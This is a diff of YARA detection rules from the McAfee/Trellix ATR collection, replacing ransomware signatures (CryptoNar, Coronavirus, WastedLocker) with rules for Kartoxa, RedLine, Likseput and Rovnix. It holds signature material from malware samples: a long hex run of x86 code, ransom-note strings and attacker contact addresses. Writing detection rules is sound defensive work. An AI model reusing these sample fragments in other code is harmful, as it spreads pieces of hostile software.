85DFEFFFF50E89EFCFFFFFF368946186834434000E848FEFFFF50E889FCFFFFFF3689461C686C434000E833FEFFFF50E874FCFFFFFF36894620687C434000E81EFEFFFF50E85FFCFFFFFF36894624689C434000E809FEFFFF50E84AFCFFFFFF3689462868C0434000E8F4FDFFFF50E835FCFFFFFF3689462C68DC434000E8DFFDFFFF50E820FCFFFFFF368946306810444000E8CAFDFFFF50E80BFCFFFFFF36894634684C444000E8B5FDFFFF50E8F6FBFFFFFF368946386874444000E8A0FDFFFF50E8E1FBFFFFFF3689463C68A0444000E88BFDFFFF50E8CCFBFFFFFF3689464068D0444000E876FDFFFF50E8B7FBFFFFFF3689464468EC444000E861FDFFFF50E8A2FBFFFFFF368946506808454000E84CFDFFFF50E88DFBFFFFFF368946546830454000E837FDFFFF50E878FBFFFFFF36894658685C454000E822FDFFFF50E863FBFFFFFF3689465C6870454000E80DFDFFFF50E84EFBFFFFFF368946606890454000E8F8FCFFFF50E839FBFFFFFF3689466468AC454000E8E3FCFFFF50E824FBFFFF89466833C05E5BC9C20800558BEC81EC5C020000535633DB5768030100008D85A5FDFFFF5350895DF8895DE8895DDC895DF4895DFC889DA4FDFFFFE889F9FFFF8B7D0C83C40C8D85A8FEFFFF50C785A8FEFFFF1C010000FF574483BDACFEFFFF05751283BDB0FEFFFF02743983BDB0FEFFFF01EB2E83BDACFEFFFF06750E399DB0FEFFFF7510807DC201751983C8FF5F5E5BC9C20C0083BDB0FEFFFF0175ED807DC20175E78B751056FF7508FF571C391E74D95368000000086A408D45EC508D45C4506A0E8D45E850C745EC47250000895DF0C745C418000000895DC8C745D000020000895DCC895DD4895DD8FF5748395DE875056AFE58EB955368000000086A048D45EC508D45C4506A068D45DCBE0B4C1000508975EC895DF0C745C418000000895DC8C745D000020000895DCC895DD4895DD8FF57488B45108D480451FF30894DE0FF573C6A40536A028D45F850536800200000538D45FC506AFFFF75E8FF574C6A04536A028D45F8505356538D45F4506AFFFF75DC895DF88975EC895DF0FF574C395DFC0F84330200008B75F43BF30F8428020000895E048B85B4FEFFFF8946108B85ACFEFFFF8946088B85B0FEFFFF89460C6A0C5889462C8946308B4510C7060C3C1000C7462830000000C746342C000000C7463818000000C7463CA80100008B401C894618895D0C6840464000E800F8FFFF8BC88B450C8A0C0180F10D888C05A4FDFFFF4089450C3D040100007CD98D8DA4FDFFFF8D46405150E855F8FFFF6844474000E8C9F7FFFF508D464050E85DF8FFFF8B45108B40283BC3742C8B4E1883F902750A8B40200504020000EB0D83F90375158B40200500010000508D860001000050E80BF8FFFFE825F7FFFFB9881C400081E90010400003C189450C33C9EB038B450C8A04088B55FC88040A4181F94825000072EB535353680C3C100056FF572C8BF03BF37460536A0156FF57386A1053536A015356FF57348B75108946203BC37447C680040200004E8B4620C68005020000538B4620C680060200002E8B4620C68007020000658B4620C68008020000788B4620C68009020000658B462088980A020000EB038B75108B46243BC30F8497000000895D083958040F868B000000895D0C8B46248B4D0C8B8401DC0000008D4D105150895D10FF5714395D107455FF7510FF57683B06754B536A3053FF57048945E43BC3743DE833F6FFFF53B91E13400081E90010400003C18B4DFC6A0183C12051535053FF7510FF75E4FF57245353FF75F4FF75E4FF5728FF770C6A01E8C1F7FFFFFF45088B46248B4D0883450C403B48040F8278FFFFFFFF75E0FF574033C0E9CFFCFFFFFF75E0FF57406AFDE92AFDFFFF558BEC81EC0C020000565733F66A688D8540FFFFFF565089B53CFFFFFFE8DAF5FFFF83C40C6A0A5933C06A0A8975A88D7DACF3AB5989B510FFFFFF8DBD14FFFFFFF3AB8D45A8898538FFFFFF8D853CFFFFFF50FF7508C745C401000000C7852CFFFFFF02000000E8BBF8FFFF85C00F8582010000538D85F4FDFFFF50C785F4FDFFFF1C010000FF5580BBEC45400083BDF8FDFFFF05750353EB0568D0454000E86CF8FFFF8D4DCC51FFB54CFFFFFFFFB540FFFFFFFFB544FFFFFF6A1850E856F7FFFFFFB548FFFFFF8BF83BFE750C68D0070000E8B9F6FFFFEBB46888130000E8ADF6FFFF8D45A8508D853CFFFFFF5057E849FBFFFF85C00F85F8000000EB10FFB548FFFFFF68D0070000E882F6FFFF8B45C883781C0175E783BDF8FDFFFF05750E6808464000E8E5F7FFFF6A16EB0C68D0454000E8D7F7FFFF6A18598D9534FFFFFF52FFB54CFFFFFFFFB540FFFFFFFFB544FFFFFF5150E8BCF6FFFF } condition: - ( uint16( 0 ) == 0x6f59 ) and filesize < 10KB and all of them + filesize < 1KB and any of them } -rule TRELLIX_ARC_Cryptonar_Ransomware : RANSOMWARE FILE +rule TRELLIX_ARC_Kartoxa_Malware_Pdb : POS FILE { meta: - description = "Rule to detect CryptoNar Ransomware" + description = "Rule to detect Kartoxa POS based on the PDB" author = "Marc Rivero | McAfee ATR Team" - id = "0911250f-fc1f-58bc-ac09-d77d2a2ed3ce" - date = "2026-02-01" + id = "3d2dbf22-5d8f-5f19-9048-2d021ada22c8" + date = "2010-10-09" modified = "2020-08-14" - reference = "https://www.bleepingcomputer.com/news/security/cryptonar-ransomware-discovered-and-quickly-decrypted/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_CryptoNar.yar#L1-L36" + reference = "https://securitynews.sonicwall.com/xmlpost/guatambu-new-multi-component-infostealer-drops-kartoxa-pos-malware-apr-08-2016/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_backdoor_katorxa_pdb.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "04c1c4f45ad3552aa0876c3b645c6ca92493018f7fdc5d9d9ed26cf67199d21b" + hash = "86dd21b8388f23371d680e2632d0855b442f0fa7e93cd009d6e762715ba2d054" + logic_hash = "6e1810af386f3aada4cd1d72f76d8210d201808c8fe1d21d379ff1a825d93710" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" - malware_type = "ransomware" - malware_family = "Ransom:W32/CryptoNar" + tags = "POS, FILE" + rule_version = "v1" + malware_type = "pos" + malware_family = "Pos:W32/Kartoxa" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "C:\\narnar\\CryptoNar\\CryptoNarDecryptor\\obj\\Debug\\CryptoNar.pdb" fullword ascii - $s2 = "CryptoNarDecryptor.exe" fullword wide - $s3 = "server will eliminate the key after 72 hours since its generation (since the moment your computer was infected). Once this has " fullword ascii - $s4 = "Do not delete this file, else the decryption process will be broken" fullword wide - $s5 = "key you received, and wait until the decryption process is done." fullword ascii - $s6 = "In order to receive your decryption key, you will have to pay $200 in bitcoins to this bitcoin address: [bitcoin address]" fullword ascii - $s7 = "Decryption process failed" fullword wide - $s8 = "CryptoNarDecryptor.KeyValidationWindow.resources" fullword ascii - $s9 = "Important note: Removing CryptoNar will not restore access to your encrypted files." fullword ascii - $s10 = "johnsmith987654@tutanota.com" fullword wide - $s11 = "Decryption process will start soon" fullword wide - $s12 = "CryptoNarDecryptor.DecryptionProgressBarForm.resources" fullword ascii - $s13 = "DecryptionProcessProgressBar" fullword wide - $s14 = "CryptoNarDecryptor.Properties.Resources.resources" fullword ascii + $pdb = "\\vm\\devel\\dark\\mmon\\Release\\mmon.pdb" condition: - ( uint16( 0 ) == 0x5a4d and filesize < 2000KB ) and all of them + uint16( 0 ) == 0x5a4d and filesize < 200KB and any of them } -rule TRELLIX_ARC_Installer_Coronavirus : RANSOMWARE FILE +rule TRELLIX_ARC_Redline_Payload : BACKDOOR FILE { meta: - description = "Rule to detect the Corona Virus Installer" + description = "Rule to detect the RedLine payload" author = "Marc Rivero | McAfee ATR Team" - id = "2a224529-bfc7-57ed-91c3-426cae4b7895" - date = "2020-03-25" + id = "61c2032f-1e6b-5123-8f99-ff83ae95e8a9" + date = "2020-04-16" modified = "2020-08-14" - reference = "https://twitter.com/malwrhunterteam/status/1238056503493505024" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_coronavirus.yar#L1-L41" + reference = "https://www.proofpoint.com/us/threat-insight/post/new-redline-stealer-distributed-using-coronavirus-themed-email-campaign" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_redline.yar#L1-L38" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "5987a6e42c3412086b7c9067dc25f1aaa659b2b123581899e9df92cb7907a3ed" - logic_hash = "26be8bbfbf615967cc2a0e2d4179cd5f444c53f170a681d2ec236244881dc629" + hash = "5df956f08d6ad0559efcdb7b7a59b2f3b95dee9e2aa6b76602c46e2aba855eff" + logic_hash = "44df161b7434b9137ca5bb919eb314f8447b216b3f6e1214606a898fb36ee4f4" score = 75 - quality = 62 - tags = "RANSOMWARE, FILE" + quality = 70 + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/CoronaVirus" + malware_type = "backdoor" + malware_family = "Backdoor:W32/RedLine" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = { 61 63 68 65 6C 6C 69 65 73 40 68 6F 74 6D 61 69 6C 2E 63 6F 6D } - $s2 = { 74 6F 6A 65 6E 2E 6D 65 40 67 6D 61 69 6C 2E 63 6F 6D } - $s4 = { 77 61 6E 67 63 68 79 7A 40 67 6D 61 69 6C 2E 63 6F 6D } - $s5 = { 54 00 6F 00 64 00 6F 00 73 00 20 00 6C 00 6F 00 73 00 20 00 74 00 69 00 70 00 6F 00 73 00 20 00 64 00 65 00 20 00 69 00 6D 00 61 00 67 00 65 00 6E 00 7C 00 2A 00 2E 00 62 00 6D 00 70 00 3B 00 2A 00 2E 00 63 00 75 00 72 00 3B 00 2A 00 2E 00 64 00 69 00 62 00 3B 00 2A 00 2E 00 65 00 6D 00 66 00 3B 00 2A 00 2E 00 69 00 63 00 6F 00 3B 00 2A 00 2E 00 77 00 6D 00 66 00 7C 00 4D 00 61 00 70 00 61 00 73 00 20 00 64 00 65 00 20 00 62 00 69 00 74 00 73 00 20 00 28 00 2A 00 2E 00 62 00 6D 00 70 00 3B 00 2A 00 2E 00 64 00 69 00 62 00 29 00 7C 00 2A 00 2E 00 62 00 6D 00 70 00 3B 00 2A 00 2E 00 64 00 69 00 62 00 7C 00 49 00 63 00 6F 00 6E 00 6F 00 73 00 2F 00 63 00 75 00 72 00 73 00 6F 00 72 00 65 00 73 00 20 00 28 00 2A 00 2E 00 69 00 63 00 6F 00 3B 00 2A 00 2E 00 63 00 75 00 72 00 29 00 7C 00 2A 00 2E 00 69 00 63 00 6F 00 3B 00 2A 00 2E 00 63 00 75 00 72 00 7C 00 4D 00 65 00 74 00 61 00 61 00 72 00 63 00 68 00 69 00 76 00 6F 00 73 00 20 00 28 00 2A 00 2E 00 77 00 6D 00 66 00 3B 00 2A 00 2E 00 65 00 6D 00 66 00 29 00 7C 00 2A 00 2E 00 77 00 6D 00 66 00 3B 00 2A 00 2E 00 65 00 6D 00 66 00 7C 00 54 00 6F 00 64 00 6F 00 73 00 20 00 6C 00 6F 00 73 00 20 00 61 00 72 00 63 00 68 00 69 00 76 00 6F 00 73 00 20 00 28 00 2A 00 2E 00 2A 00 29 00 7C 00 2A 00 2E 00 2A 00 7C 00 7C 00 } - $s6 = { 48 00 54 00 4D 00 4C 00 5F 00 49 00 4D 00 47 00 23 00 49 00 44 00 52 00 5F 00 48 00 54 00 4D 00 5F 00 49 00 4D 00 41 00 47 00 45 00 53 00 5F 00 4C 00 49 00 5F 00 43 00 41 00 50 00 54 00 49 00 4F 00 4E 00 5F 00 48 00 4F 00 56 00 45 00 52 00 5F 00 50 00 4E 00 47 00 29 00 49 00 44 00 52 00 5F 00 48 00 54 00 4D 00 5F 00 49 00 4D 00 41 00 47 00 45 00 53 00 5F 00 53 00 42 00 5F 00 48 00 5F 00 53 00 43 00 52 00 4F 00 4C 00 4C 00 5F 00 50 00 52 00 45 00 56 00 5F 00 48 00 4F 00 56 00 45 00 52 00 5F 00 50 00 4E 00 47 00 31 00 49 00 44 00 52 00 5F 00 48 00 54 00 4D 00 5F 00 49 00 4D 00 47 00 5F 00 50 00 41 00 47 00 45 00 5F 00 54 00 49 00 54 00 4C 00 45 00 5F 00 49 00 43 00 4F 00 4E 00 5F 00 4D 00 45 00 4E 00 55 00 5F 00 4F 00 52 00 41 00 4E 00 47 00 45 00 5F 00 43 00 4C 00 4F 00 53 00 45 00 5F 00 50 00 4E 00 47 00 32 00 49 00 44 00 52 00 5F 00 48 00 54 00 4D 00 5F 00 49 00 4D 00 47 00 5F 00 50 00 41 00 47 00 45 00 5F 00 54 00 49 00 54 00 4C 00 45 00 5F 00 49 00 43 00 4F 00 4E 00 5F 00 4D 00 45 00 4E 00 55 00 5F 00 50 00 41 00 49 00 44 00 5F 00 53 00 45 00 54 00 54 00 49 00 4E 00 47 00 53 00 5F 00 50 00 4E 00 47 00 } - $s7 = { 25 73 5C 6C 6F 67 5F 25 30 34 64 25 30 32 64 25 30 32 64 5F 25 64 2E 6C 6F 67 } + $s1 = "Cambrel.exe" fullword ascii + $s2 = { 22 00 54 00 65 00 78 00 74 00 49 00 6e 00 70 00 75 00 74 00 46 00 72 00 61 00 6d 00 65 00 77 00 6f 00 72 00 6b 00 2e 00 44 00 59 00 4e 00 4c 00 49 00 4e 00 4b 00 22 00 } + $op0 = { 06 7c 34 00 00 04 7b 17 00 00 04 7e 21 00 00 0a } + $op1 = { 96 00 92 0e 83 02 02 00 f4 20 } + $op2 = { 03 00 c6 01 d9 08 1b 03 44 } + $p0 = { 80 00 96 20 83 11 b7 02 10 } + $p1 = { 20 01 00 72 0f 00 20 02 00 8a 0f 00 20 03 00 61 } + $p2 = { 03 00 c6 01 cd 06 13 03 79 } condition: - uint16( 0 ) == 0x5a4d and filesize < 3000KB and all of them + uint16( 0 ) == 0x5a4d and filesize < 60KB and all of ( $s* ) and all of ( $op* ) or all of ( $p* ) } -rule TRELLIX_ARC_Ransomware_Coronavirus : RANSOMWARE FILE +rule TRELLIX_ARC_Malw_Likseput_Backdoor_Pdb : BACKDOOR FILE { meta: - description = "Rule to detect the Corona Virus ransomware" + description = "Rule to detect Likseput backdoor based on the PDB" author = "Marc Rivero | McAfee ATR Team" - id = "4195a57b-cd51-5050-861a-6436f7ec4eca" - date = "2020-03-25" + id = "2193daf8-016b-5f49-97ec-b821c8da22f6" + date = "2011-03-26" modified = "2020-08-14" - reference = "https://twitter.com/malwrhunterteam/status/1238056503493505024" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_coronavirus.yar#L43-L80" + reference = "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/bkdr_likseput.e" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_likseput_backdoor_pdb.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "3299f07bc0711b3587fe8a1c6bf3ee6bcbc14cb775f64b28a61d72ebcb8968d3" - logic_hash = "2a7e1676a20f30b0cb0321579bb85e4836e2aee5f56b838d2ff2bec7a08c489f" + hash = "993b36370854587f4eef3366562f01ab87bc4f7b88a21f07b44bd5051340386d" + logic_hash = "2afc4b7e6a5f0d9fed9a075aebaac8157e843c83c55c3f2255431bb6a03459ec" score = 75 - quality = 64 - tags = "RANSOMWARE, FILE" + quality = 70 + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/CoronaVirus" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Likseput" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = { 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 } - $s2 = { 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 } - $s3 = { 2F 00 75 00 70 00 6C 00 6F 00 61 00 64 00 2F 00 25 00 73 00 5F 00 25 00 64 00 5F 00 25 00 73 00 } - $s4 = { 53 59 53 54 45 4D 5C 43 75 72 72 65 6E 74 43 6F 6E 74 72 6F 6C 53 65 74 5C 43 6F 6E 74 72 6F 6C 5C 53 65 73 73 69 6F 6E 20 4D 61 6E 61 67 65 72 } - $s5 = { 5C 5C 2E 5C 50 68 79 73 69 63 61 6C 44 72 69 76 65 25 64 } + $pdb = "\\work\\code\\2008-7-8muma\\mywork\\winInet_winApplication2009-8-7\\mywork\\aaaaaaa\\Release\\aaaaaaa.pdb" condition: - uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them + uint16( 0 ) == 0x5a4d and filesize < 40KB and any of them } -rule TRELLIX_ARC_RANSOM_Wastedlocker : RANSOMWARE FILE +rule TRELLIX_ARC_Rovnix_Downloader : DOWNLOADER { meta: - description = "Rule to detect unpacked samples of WastedLocker" - author = "McAfee ATR Team" - id = "900923cf-75c0-5342-858d-fe1ffa9486bd" - date = "2020-07-27" - modified = "2020-10-12" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_wastedlocker.yar#L1-L32" + description = "Rovnix downloader with sinkhole checks" + author = "Intel Security" + id = "d51f8f73-7a3a-5ccf-9122-86061b5399f1" + date = "2026-03-01" + modified = "2020-08-14" + reference = 